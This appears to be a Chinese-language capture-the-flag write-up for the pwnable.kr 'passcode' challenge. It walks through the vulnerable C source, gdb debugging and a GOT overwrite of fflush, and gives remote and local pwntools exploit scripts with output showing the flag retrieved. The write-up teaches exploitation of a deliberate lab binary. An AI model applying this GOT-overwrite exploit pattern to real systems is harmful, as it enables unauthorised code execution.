题目描述
题目分析
Ubuntu-SSH连接
ssh passcode@pwnable.kr -p2222 (password:guest)
根据目录信息拉取文件
scp -P2222 passcode@pwnabke.kr:passcode.c .
分析源码
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1; // 整型int,4个字节
int passcode2;
printf("enter passcode1 : ");
// 读入passcode1,但是此处缺少&
// 程序默认从栈中读取4个字节的数据当作scanf取得的地址(即passcode1的内容)
scanf("%d", passcode1);
// 清空缓冲区
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
// 问题同上,缺少&取地址符
scanf("%d", passcode2);
printf("checking...\n");
// 若输入passcode1=338150或passcode2=13371337,则执行命令输出flag
// 因此处无法正常输入,所以功能无效
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
// 可输入长度100个字节
// 字符串输入不需要&
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
// 调用两函数
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
程序运行逻辑
调试=>解决思路
pwndbg反编译两个关键函数welcome()
、login()
简化输入语句执行逻辑,举个栗子
#include<iostream>
int main()
{
char num[100];
scanf("%100s", num);
int n;
scanf("%d", n);
return 0;
}
因为两函数都在main()中被调用且未被传参,所以使用的是同一个ebp
可通过动态调试
来验证
b *0x0804862f
b *0x0804857c
bl
r
x /1xx $ebp
c
x /1xx $ebp
# 继续调试
c
x /1xx $ebp
据上述可以发现,堆栈信息均一致
根据汇编分析
welcome()
,scanf("%100s", name);
;0x0804862f <+38>: lea edx,[ebp-0x70]
,地址存入寄存器login()
,scanf("%d", passcode1);
;0x0804857c <+24>: mov edx,DWORD PTR [ebp-0x10]
,地址指向的4字节栈中数据存入寄存器
ebp-0x70
和ebp-0x10
相隔0x60
,转为十进制即96字节
结合welcome()中输入name的大小设置为100字节,因为scanf()
缺少&
,程序会先从栈中选取4字节数据充当地址,即剩下4字节刚好可以覆写变量passcode1
,将其内容变为可控的4字节地址所指向的栈中数据
相当于passcode1
地址可控!
目前还无法深入调用系统命令,发现login():fflush()
函数处,反汇编代码call 0x8048430 <fflush@plt>
,通过在PLT入口地址0x8048430
处进一步反汇编,找到GOT表函数的真实地址0x804a004
disass 0x8048430
# 查找GOT表函数的两种快捷方式
objdump -R passcode
readelf -r passcode
系统命令system("/bin/cat flag");
调用地址为0x080485e3
由此,可以敲定总利用思路
- 利用welcome()中
scanf("%100s", name)
,输入100个字节,前96个字节负责地址增长,跳转至login()中scanf("%d",passcode1);
;因为缺少&
,所以后4个字节先作为地址输入,负责GOT表覆写,使passcode1
地址指向fflush()
地址0x804a004
scanf()
继续再写入4字节,即地址,用于scanf()以十进制格式输入,跳转至system("/bin/cat flag")
执行0x080485e3
编写pwntools脚本
远程
from pwn import *
r = ssh(user='passcode', host='pwnable.kr', password='guest', port=2222)
p = r.process(executable='./passcode')
print(p.recv())
log.info('Write fflush_got')
payload = p8(0x41) * 96 + p32(0x804a004)
p.sendline(payload)
print(p.recv())
ret_addr = str(0x080485e3)
p.sendline(ret_addr)
res_data = p.recvall()
print(res_data.decode('utf-8'))
p.close()
r.close()
本地
from pwn import *
p = process('/home/pwnkr/passcode')
fflush_got = 0x0804a004
system_addr = 0x80485e3
payload = "A" * 96 + p32(fflush_got) + str(system_addr)
p.send(payload)
p.interactive()
脚本运行
hang@pwn:~/workplace/exploitPwn$ python passcode.py
[+] Connecting to pwnable.kr on port 2222: Done
[*] passcode@pwnable.kr:
Distro Ubuntu 16.04
OS: linux
Arch: amd64
Version: 4.4.179
ASLR: Enabled
SHSTK: Disabled
IBT: Disabled
[+] Starting remote process './passcode' on pwnable.kr: pid 288065
[!] ASLR is disabled for '/home/passcode/passcode'!
b"Toddler's Secure Login System 1.0 beta.\nenter you name : "
[*] Write fflush_got
b'Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x04\xa0\x04\x08!\nenter passcode1 : '
/home/hang/workplace/exploitPwn/passcode.py:13: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendline(ret_addr)
[+] Receiving all data: Done (103B)
[*] Stopped remote process 'passcode' on pwnable.kr (pid 288065)
Sorry mom.. I got confused about scanf usage :(
Now I can safely trust you that you have credential :)
[*] Closed connection to 'pwnable.kr'